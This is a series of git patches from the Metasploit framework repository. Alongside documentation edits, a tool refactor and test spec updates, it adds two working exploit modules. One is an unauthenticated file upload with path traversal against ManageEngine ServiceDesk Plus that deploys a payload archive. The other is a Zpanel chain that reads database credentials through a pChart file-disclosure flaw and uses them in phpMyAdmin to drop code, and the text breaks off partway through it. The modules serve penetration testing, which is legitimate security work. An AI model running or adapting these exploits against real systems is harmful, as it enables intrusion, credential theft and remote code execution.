optional password to use with + # basic authentication. This is only used when :auth_username is + # specified. + # @option opts [String] :data Any data to include within the body of the + # request. Often used with the POST HTTP method. + # @option opts [Hash] :headers A hash of additional headers to include in + # the request. + # @option opts [String] :method The HTTP method to use in the request. + # @option opts [Boolean] :print_body Whether or not to print the body of the + # response. + # @option opts [Boolean] :print_headers Whether or not to print the headers + # of the response. + # @options opts [String] :ssl_version The version of SSL to use if the + # request scheme is HTTPS. + # @option opts [String] :uri The target uri to request. + # @option opts [String] :user_agent The value to use in the User-Agent + # header of the request. + # @param opt_parser [Rex::Parser::Arguments] the argument parser for the + # request type. + # @return [nil] def handle_request_https(opts, opt_parser) # let http do it handle_request_http(opts, opt_parser) end - # handling for requests of type 'http' + # Perform an HTTP request based on the user specifed options. + # + # @param opts [Hash] The options to use for making the HTTP request. + # @option opts [String] :auth_username An optional username to use with + # basic authentication. + # @option opts [String] :auth_password An optional password to use with + # basic authentication. This is only used when :auth_username is + # specified. + # @option opts [String] :data Any data to include within the body of the + # request. Often used with the POST HTTP method. + # @option opts [Hash] :headers A hash of additional headers to include in + # the request. + # @option opts [String] :method The HTTP method to use in the request. + # @option opts [Boolean] :print_body Whether or not to print the body of the + # response. + # @option opts [Boolean] :print_headers Whether or not to print the headers + # of the response. + # @options opts [String] :ssl_version The version of SSL to use if the + # request scheme is HTTPS. + # @option opts [String] :uri The target uri to request. + # @option opts [String] :user_agent The value to use in the User-Agent + # header of the request. + # @param opt_parser [Rex::Parser::Arguments] the argument parser for the + # request type. + # @return [nil] def handle_request_http(opts, opt_parser) uri = opts[:uri] http_client = Rex::Proto::Http::Client.new( @@ -238,6 +311,12 @@ class Plugin::Requests < Msf::Plugin end end + # Output lines based on the provided options. Data is either printed to the + # console or written to a file. Trailing new lines are removed. + # + # @param opts [Array] The options as parsed from the command line. + # @param line [String] The string to output. + # @return [nil] def output_line(opts, line) if opts[:output_file].nil? if line[-2..-1] == "\r\n" @@ -252,6 +331,13 @@ class Plugin::Requests < Msf::Plugin end end + # Print the appropriate help text depending on an optional option parser. + # + # @param opt_parser [Rex::Parser::Arguments] the argument parser for the + # request type. + # @param msg [String] the first line of the help text to display to the + # user. + # @return [nil] def help(opt_parser = nil, msg = 'Usage: request [options] uri') print_line(msg) if opt_parser From 35ca8ad3283b0edf0af2e0b90c7f15e598a47a89 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 1 Oct 2015 20:49:13 -0400 Subject: [PATCH 0809/2172] Add doc changes from proofreading --- plugins/request.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/plugins/request.rb b/plugins/request.rb index 34c09f217c..db2bc30cdf 100644 --- a/plugins/request.rb +++ b/plugins/request.rb @@ -93,7 +93,8 @@ class Plugin::Requests < Msf::Plugin end end - # Parse the provided arguments for making HTTPS requests. + # Parse the provided arguments for making HTTPS requests. The argument flags + # are intended to be similar to the curl utility. # # @param args [Array] The command line arguments to parse. # @param type [String] The protocol type that the request is for. @@ -104,7 +105,8 @@ class Plugin::Requests < Msf::Plugin parse_args_http(args, type) end - # Parse the provided arguments for making HTTP requests. + # Parse the provided arguments for making HTTP requests. The argument flags + # are intended to be similar to the curl utility. # # @param args [Array] The command line arguments to parse. # @param type [String] The protocol type that the request is for. @@ -209,6 +211,7 @@ class Plugin::Requests < Msf::Plugin # @option opts [Hash] :headers A hash of additional headers to include in # the request. # @option opts [String] :method The HTTP method to use in the request. + # @option opts [#write] :output_file A file to write the response data to. # @option opts [Boolean] :print_body Whether or not to print the body of the # response. # @option opts [Boolean] :print_headers Whether or not to print the headers @@ -239,6 +242,7 @@ class Plugin::Requests < Msf::Plugin # @option opts [Hash] :headers A hash of additional headers to include in # the request. # @option opts [String] :method The HTTP method to use in the request. + # @option opts [#write] :output_file A file to write the response data to. # @option opts [Boolean] :print_body Whether or not to print the body of the # response. # @option opts [Boolean] :print_headers Whether or not to print the headers @@ -314,7 +318,9 @@ class Plugin::Requests < Msf::Plugin # Output lines based on the provided options. Data is either printed to the # console or written to a file. Trailing new lines are removed. # - # @param opts [Array] The options as parsed from the command line. + # @param opts [Hash] The options as parsed from parse_args. + # @option opts [#write, nil] :output_file An optional file to write the + # output to. # @param line [String] The string to output. # @return [nil] def output_line(opts, line) From 33916997a466091a1260133804082fa4d889dddb Mon Sep 17 00:00:00 2001 From: JT Date: Fri, 2 Oct 2015 09:49:59 +0800 Subject: [PATCH 0810/2172] Update zemra_panel_rce.rb revised the name and the description --- modules/exploits/multi/http/zemra_panel_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index d00be6cd6b..57fdaadb76 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -12,9 +12,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => 'Zemra Botnet C2 Web Panel Remote Code Execution', + 'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution', 'Description' => %q{ - This module exploits the C2 web panel of Zemra Botnet which contains a backdoor + This module exploits the CnC web panel of Zemra Botnet which contains a backdoor inside its leaked source code. Zemra is a crimeware bot that can be used to conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra. }, @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet C2 Web Panel", "/Zemra/Panel/Zemra/system/command.php"]), + OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]), ],self.class) end From cbbeef0f538151839fe85306d6076715ed9c7cfa Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 2 Oct 2015 13:20:59 +0100 Subject: [PATCH 0811/2172] Update kaseya_uploader.rb --- modules/exploits/windows/http/kaseya_uploader.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/kaseya_uploader.rb b/modules/exploits/windows/http/kaseya_uploader.rb index 8f03ed2b1a..00748d0456 100644 --- a/modules/exploits/windows/http/kaseya_uploader.rb +++ b/modules/exploits/windows/http/kaseya_uploader.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2015-6922'], ['ZDI', '15-449'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'], - ['URL', 'TODO_FULLDISC_URL'] + ['URL', 'http://seclists.org/bugtraq/2015/Sep/132'] ], 'Platform' => 'win', 'Arch' => ARCH_X86, From d334dc237f1e4000b879bccbc901efa5f52fb23c Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 2 Oct 2015 13:21:28 +0100 Subject: [PATCH 0812/2172] Update kaseya_master_admin.rb --- modules/auxiliary/admin/http/kaseya_master_admin.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb index 08e6648934..5703684ca9 100644 --- a/modules/auxiliary/admin/http/kaseya_master_admin.rb +++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary ['CVE', '2015-6922'], ['ZDI', '15-448'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'], - ['URL', 'TODO_FULLDISC_URL'] + ['URL', 'http://seclists.org/bugtraq/2015/Sep/132'] ], 'DisclosureDate' => 'Sep 23 2015')) From 659a09f7d239d85aa552e8ee082291fb138a56da Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 2 Oct 2015 16:04:05 +0100 Subject: [PATCH 0813/2172] Create manageengine_sd_uploader.rb --- .../multi/http/manageengine_sd_uploader.rb | 134 ++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/exploits/multi/http/manageengine_sd_uploader.rb diff --git a/modules/exploits/multi/http/manageengine_sd_uploader.rb b/modules/exploits/multi/http/manageengine_sd_uploader.rb new file mode 100644 index 0000000000..178804a7ce --- /dev/null +++ b/modules/exploits/multi/http/manageengine_sd_uploader.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine ServiceDesk Plus Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ManageEngine ServiceDesk Plus. + The vulnerability exists in the FileUploader servlet which accepts unauthenticated + file uploads. This module has been tested successfully on versions v9 b9000 - b9102 + in Windows and Linux. The MSP versions do not expose the vulnerable servlet. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'ZDI', '15-396 ' ], + [ 'URL', 'GITHUB_URL' ], + [ 'URL', 'FULLDISC_URL' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'ServiceDesk Plus v9 b9000 - b9102 / Java Universal', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 20 2015')) + + register_options( + [ + Opt::RPORT(8080), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for EAR deployment', 15]), + ], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => "/", + 'method' => 'GET' + }) + + if res && res.code == 200 && + res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ + build = $1 + if build < "9103" && build > "9000" + return Exploit::CheckCode::Appears + end + end + + return Exploit::CheckCode::Safe + end + + + def exploit + jboss_path = '../../server/default/deploy' + servlet_path = rand_text_alphanumeric(4 + rand(16 - 4)) + ".up" + + # First we generate the WAR with the payload... + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => war_app_base }) + + # ... and then we create an EAR file with it. + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + app_xml = %Q{#{rand_text_alphanumeric(4 + rand(32 - 4))}#{war_app_base + ".war"}/#{ear_app_base}} + + # Zipping with CM_STORE to avoid errors while decompressing the zip + # in the Java vulnerable application + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + ear_file.add_file(war_app_base + ".war", war_payload.to_s) + ear_file.add_file("META-INF/application.xml", app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" + + # Linux doesn't like it when we traverse non existing directories, + # so let's create them by sending some random data before the EAR. + rand_file = rand_text_alphanumeric(4 + rand(32 - 4)) + res = send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => rand_text_alphanumeric(4 + rand(32 - 4)), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'uniqueId' => rand_text_numeric(4 + rand(4)), + 'module' => '', + 'qqfile' => rand_file + } + }) + + print_status("#{peer} - Uploading EAR file...") + res = send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => ear_file.pack, + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'uniqueId' => rand_text_numeric(4 + rand(4)), + 'module' => jboss_path, + 'qqfile' => ear_file_name + } + }) + + if res && res.code == 200 + print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + " seconds for deployment") + register_files_for_cleanup(jboss_path.gsub('../../','../') + "/null/" + ear_file_name) + register_files_for_cleanup("Attachments/null/" + rand_file) + sleep(datastore['SLEEP']) + else + fail_with(Failure::Unknown, "#{peer} - EAR upload failed") + end + + send_request_cgi({ + 'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + end +end From 507f7780569d13908e4b0ef75cadac5ba5e570b8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 2 Oct 2015 11:35:06 -0500 Subject: [PATCH 0814/2172] Do some code reorganization with @wchen-r7 --- tools/msu_finder.rb | 36 +++++++++++++++++++++--------------- 1 file changed, 21 insertions(+), 15 deletions(-) mode change 100644 => 100755 tools/msu_finder.rb diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb old mode 100644 new mode 100755 index adc514afa5..c7c2103c4e --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -21,7 +21,7 @@ require 'uri' require 'json' require 'optparse' -module MicrosoftPatch +module MicrosoftPatchFinder module SiteInfo TECHNET = { @@ -41,7 +41,7 @@ module MicrosoftPatch end # This class provides whatever other classes need. - class Base + module Helper # Prints a debug message. # @@ -77,7 +77,7 @@ module MicrosoftPatch # Sends an HTTP request with Rex. # - # @param rhost [Hash] Information about the target host. Use MicrosoftPatch::SiteInfo. + # @param rhost [Hash] Information about the target host. Use MicrosoftPatchFinder::SiteInfo. # @option rhost [String] :vhost # @option rhost [String] :ip IPv4 address # @param opts [Hash] Information about the Rex request. @@ -114,7 +114,8 @@ module MicrosoftPatch # Collects MSU download links from Technet. - class PatchLinkCollector < Base + class PatchLinkCollector + include MicrosoftPatchFinder::Helper # Returns a response of an advisory page. # @@ -197,7 +198,7 @@ module MicrosoftPatch # Returns the redirected page. # - # @param rhost [Hash] From MicrosoftPatch::SiteInfo + # @param rhost [Hash] From MicrosoftPatchFinder::SiteInfo # @param res [Rex::Proto::Http::Response] # @return [Rex::Proto::Http::Response] def follow_redirect(rhost, res) @@ -278,7 +279,9 @@ module MicrosoftPatch # A class that searches advisories from Technet. - class TechnetMsbSearch < Base + class TechnetMsbSearch + include MicrosoftPatchFinder::Helper + def initialize opts = { 'method' => 'GET', @@ -387,7 +390,9 @@ module MicrosoftPatch attr_reader :firstpage end - class GoogleMsbSearch < Base + class GoogleMsbSearch + include MicrosoftPatchFinder::Helper + # API Doc: # https://developers.google.com/custom-search/json-api/v1/using_rest # Known bug: @@ -634,11 +639,12 @@ module MicrosoftPatch end end - class Module < Base + class Driver + include MicrosoftPatchFinder::Helper def initialize begin - @args = MicrosoftPatch::OptsConsole.get_parsed_options + @args = MicrosoftPatchFinder::OptsConsole.get_parsed_options rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e print_error(e.message) exit @@ -651,7 +657,7 @@ module MicrosoftPatch # @param regex [String] The regex pattern to use to collect specific download URLs. # @return [Array] Download links def get_download_links(msb, regex=nil) - msft = MicrosoftPatch::PatchLinkCollector.new + msft = MicrosoftPatchFinder::PatchLinkCollector.new unless msft.is_valid_msb?(msb) print_error "Not a valid MSB format." @@ -695,9 +701,9 @@ module MicrosoftPatch # @param keyword [String] The keyword to search # @param api_key [String] Google API key # @param cx [String] Google Search Engine Key - # @return [Array] See MicrosoftPatch::GoogleMsbSearch#find_msb_numbers + # @return [Array] See MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers def google_search(keyword, api_key, cx) - search = MicrosoftPatch::GoogleMsbSearch.new(api_key: api_key, search_engine_id: cx) + search = MicrosoftPatchFinder::GoogleMsbSearch.new(api_key: api_key, search_engine_id: cx) search.find_msb_numbers(keyword) end @@ -705,9 +711,9 @@ module MicrosoftPatch # Performs a search via Technet # # @param keyword [String] The keyword to search - # @return [Array] See MicrosoftPatch::TechnetMsbSearch#find_msb_numbers + # @return [Array] See MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers def technet_search(keyword) - search = MicrosoftPatch::TechnetMsbSearch.new + search = MicrosoftPatchFinder::TechnetMsbSearch.new search.find_msb_numbers(keyword) end @@ -750,7 +756,7 @@ end if __FILE__ == $PROGRAM_NAME - mod = MicrosoftPatch::Module.new + mod = MicrosoftPatchFinder::Driver.new begin mod.run rescue Interrupt From b107213a6e982e3597a08c68c1e11bba815c3f43 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 2 Oct 2015 11:37:43 -0500 Subject: [PATCH 0815/2172] Update documentation / TODO --- tools/msu_finder.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index c7c2103c4e..22ad4253b7 100755 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -40,7 +40,7 @@ module MicrosoftPatchFinder } end - # This class provides whatever other classes need. + # This provides whatever other classes need. module Helper # Prints a debug message. @@ -764,3 +764,10 @@ if __FILE__ == $PROGRAM_NAME $stdout.puts "Good bye" end end + +=begin +TODO: + * Make a gem + * Make it generic in order to manage different kind of patches and providers + * Multithreading +=end \ No newline at end of file From 69f3d88ea67c21ddac8e0499fcba4990911f9518 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 2 Oct 2015 11:38:36 -0500 Subject: [PATCH 0816/2172] Ensure uniq on #find_msb_numbers --- spec/tools/msu_finder_spec.rb | 2 +- tools/msu_finder.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index f6f2b70fae..baa9306b19 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -3,7 +3,7 @@ load Metasploit::Framework.root.join('tools/msu_finder.rb').to_path require 'nokogiri' require 'uri' -describe MicrosoftPatch do +describe MicrosoftPatchFinder do before(:each) do cli = Rex::Proto::Http::Client.new('127.0.0.1') diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index 22ad4253b7..b17588bcda 100755 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -435,7 +435,7 @@ module MicrosoftPatchFinder end rescue RuntimeError => e print_error(e.message) - return msb_numbers + return msb_numbers.uniq end msb_numbers.uniq From 5862a66221e129dcf3cb2131f3d342a8767bf7f1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 2 Oct 2015 11:50:41 -0500 Subject: [PATCH 0817/2172] Pass specs again --- spec/tools/msu_finder_spec.rb | 60 +++++++++++++++++++---------------- 1 file changed, 32 insertions(+), 28 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index baa9306b19..d9ef3770ba 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -14,18 +14,18 @@ describe MicrosoftPatchFinder do end let(:technet) do - MicrosoftPatch::SiteInfo::TECHNET + MicrosoftPatchFinder::SiteInfo::TECHNET end let(:microsoft) do - MicrosoftPatch::SiteInfo::MICROSOFT + MicrosoftPatchFinder::SiteInfo::MICROSOFT end let(:googleapis) do - MicrosoftPatch::SiteInfo::GOOGLEAPIS + MicrosoftPatchFinder::SiteInfo::GOOGLEAPIS end - describe MicrosoftPatch::SiteInfo do + describe MicrosoftPatchFinder::SiteInfo do context 'Constants' do context 'TECHNET' do it 'returns 157.56.148.23 as the IP' do @@ -59,7 +59,7 @@ describe MicrosoftPatchFinder do end end - describe MicrosoftPatch::Base do + describe MicrosoftPatchFinder::Helper do def get_stdout(&block) out = $stdout @@ -84,7 +84,9 @@ describe MicrosoftPatchFinder do end subject do - MicrosoftPatch::Base.new + mod = Object.new + mod.extend MicrosoftPatchFinder::Helper + mod end describe '#print_debug' do @@ -119,14 +121,14 @@ describe MicrosoftPatchFinder do describe '#send_http_request' do it 'returns a Rex::Proto::Http::Response object' do allow(subject).to receive(:print_debug) - res = subject.send_http_request(MicrosoftPatch::SiteInfo::TECHNET) + res = subject.send_http_request(MicrosoftPatchFinder::SiteInfo::TECHNET) expect(res).to be_kind_of(Rex::Proto::Http::Response) end end end - describe MicrosoftPatch::PatchLinkCollector do + describe MicrosoftPatchFinder::PatchLinkCollector do let(:ms15_100_html) do %Q| @@ -199,7 +201,7 @@ describe MicrosoftPatchFinder do end subject do - MicrosoftPatch::PatchLinkCollector.new + MicrosoftPatchFinder::PatchLinkCollector.new end before(:each) do @@ -361,15 +363,15 @@ describe MicrosoftPatchFinder do end - describe MicrosoftPatch::TechnetMsbSearch do + describe MicrosoftPatchFinder::TechnetMsbSearch do subject do - MicrosoftPatch::TechnetMsbSearch.new + MicrosoftPatchFinder::TechnetMsbSearch.new end before(:each) do - allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_debug) - allow_any_instance_of(MicrosoftPatch::Base).to receive(:send_http_request) { |info_obj, info_opts, opts| + allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:print_debug) + allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts| case opts['uri'] when /\/en\-us\/security\/bulletin\/dn602597\.aspx/ html = %Q| @@ -465,10 +467,10 @@ describe MicrosoftPatchFinder do end - describe MicrosoftPatch::GoogleMsbSearch do + describe MicrosoftPatchFinder::GoogleMsbSearch do subject do - MicrosoftPatch::GoogleMsbSearch.new + MicrosoftPatchFinder::GoogleMsbSearch.new end let(:json_data) do @@ -555,8 +557,8 @@ describe MicrosoftPatchFinder do end before(:each) do - allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_debug) - allow_any_instance_of(MicrosoftPatch::Base).to receive(:send_http_request) { |info_obj, info_opts, opts| + allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:print_debug) + allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts| res = Rex::Proto::Http::Response.new allow(res).to receive(:body).and_return(json_data) res @@ -608,7 +610,7 @@ describe MicrosoftPatchFinder do end - describe MicrosoftPatch::Module do + describe MicrosoftPatchFinder::Driver do let(:msb) do 'ms15-100' @@ -620,17 +622,19 @@ describe MicrosoftPatchFinder do before(:each) do opts = { keyword: msb } - allow(MicrosoftPatch::OptsConsole).to receive(:get_parsed_options).and_return(opts) - allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:download_advisory).and_return(Rex::Proto::Http::Response.new) - allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:get_details_aspx).and_return([expected_link]) - allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:get_download_page).and_return(Rex::Proto::Http::Response.new) - allow_any_instance_of(MicrosoftPatch::PatchLinkCollector).to receive(:get_download_links).and_return([expected_link]) - allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_debug) - allow_any_instance_of(MicrosoftPatch::Base).to receive(:print_error) + allow(MicrosoftPatchFinder::OptsConsole).to receive(:get_parsed_options).and_return(opts) + allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:download_advisory).and_return(Rex::Proto::Http::Response.new) + allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_details_aspx).and_return([expected_link]) + allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_page).and_return(Rex::Proto::Http::Response.new) + allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_links).and_return([expected_link]) + allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_debug) + allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_error) + allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_debug) + allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_error) end subject do - MicrosoftPatch::Module.new + MicrosoftPatchFinder::Driver.new end describe '#get_download_links' do @@ -643,13 +647,13 @@ describe MicrosoftPatchFinder do describe '#google_search' do it 'returns search results' do - skip('See rspec for MicrosoftPatch::GoogleMsbSearch#find_msb_numbers') + skip('See rspec for MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers') end end describe '#technet_search' do it 'returns search results' do - skip('See rspec for MicrosoftPatch::TechnetMsbSearch#find_msb_numbers') + skip('See rspec for MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers') end end From 89a50c20d0b6e410fabbda14fa96034b8fce58a9 Mon Sep 17 00:00:00 2001 From: brent morris Date: Fri, 2 Oct 2015 13:29:53 -0400 Subject: [PATCH 0818/2172] Added Zpanel Exploit --- .../http/zpanel_information_disclosure_rce.rb | 270 ++++++++++++++++++ 1 file changed, 270 insertions(+) create mode 100644 modules/exploits/multi/http/zpanel_information_disclosure_rce.rb diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb new file mode 100644 index 0000000000..29d2b82510 --- /dev/null +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -0,0 +1,270 @@ +require 'msf/core' +require 'msf/core/exploit/php_exe' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2097' ], + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart + [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], + [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 30 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) + ], self.class) + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' => 'get', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + }, + 'version' => "1.1", + }) + + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + + return uname, passwd, dbname + + end + + def grab_sess_and_token(uri) + + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + 'version' => '1.1' + }) + + sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" + sess_id = sess_id[2..-3] + + if sess_id.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sess_id}") + + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version' => '1.1', + 'Cookie' => "PHPSESSID=#{sess_id}" + }) + + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sess_id + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie' => cookies, + 'ctype' => "application/x-www-form-urlencoded", + 'headers' => { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => "1", + 'lang' => "en", + 'collation_connection' => "utf8_general_ci", + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "PHPSESSID=#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("etc", "apps", 